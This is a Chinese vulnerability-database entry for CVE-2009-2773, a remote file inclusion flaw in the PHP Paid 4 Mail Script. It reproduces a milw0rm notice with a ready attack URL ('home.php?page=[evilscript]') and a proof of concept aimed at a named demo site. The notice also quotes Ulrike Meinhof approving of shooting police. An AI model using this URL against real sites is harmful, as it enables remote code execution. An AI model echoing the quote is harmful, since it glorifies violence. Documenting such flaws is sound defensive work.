shop-020 php paid_4 mail script 'home.php '代码注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1118191 漏洞类型 代码注入
发布时间 2009-07-27 更新时间 2009-07-27
CVE编号 CVE-2009-2773 CNNVD-ID CNNVD-200908-191
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/9269
https://www.securityfocus.com/bid/44303
https://cxsecurity.com/issue/WLB-2009080132
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200908-191
|漏洞详情
PHPPaid4MailScript中的home.php存在PHP远程文件包含漏洞。远程攻击者可以借助页参数中的一个URL,执行任意的PHP代码。
|漏洞EXP
_______         ___________
\   _  \ ___  __\_   _____/
/  /_\  \\  \/  /|    __)  
\  \_/   \>    < |     \   
 \_____  /__/\_ \\___  /   
       \/      \/    \/    
                       #ruling the web since 9/2008


  [=] PHP Paid 4 Mail Script File Inclusion vuln
       
       Vendor   : http://www.shop-020.de
       Script   : PHP Paid 4 Mail Script 
       Download : http://www.shop-020.de/phpscriptat-p25h4s5-PHP-Paid-4-Mail-Scri.html
       Author   : int_main();
       Contact  : someone[at]jabber.ccc.de
       Site     : 0xFEE1DEAD.de
       Greez    : BrainWash,Thunderbird,STEAL,The Papst,eddy14,MagicFridge,Patrick B,Hero,tmh,Lorenz,iNs
      


       Exploit:

       http://[target]/home.php?page=[evilscript]

       POC:

       http://www.city-demo.at/mail/home.php?page=http://google.de

       (File access is unfortunately disabled in this case, otherwise, this inclusion would work because of the coding gap.)

       Have phun, wui!

  [=]     
       "Wir sagen natürlich, die Bullen sind Schweine, wir sagen, der Typ in Uniform ist ein Schwein, das ist kein Mensch, (...) 
       und natürlich kann geschossen werden!" (Ulrike Meinhof, 1970)" 
  [=] 

# milw0rm.com [2009-07-27]
|受影响的产品
PHP Paid 4 Mail Script PHP Paid 4 Mail Script 0
|参考资料

来源:XF
名称:phppaid4mail-home-file-include(52015)
链接:http://xforce.iss.net/xforce/xfdb/52015
来源:MILW0RM
名称:9269
链接:http://www.milw0rm.com/exploits/9269
来源:SECUNIA
名称:35972
链接:http://secunia.com/advisories/35972
来源:OSVDB
名称:56573
链接:http://osvdb.org/56573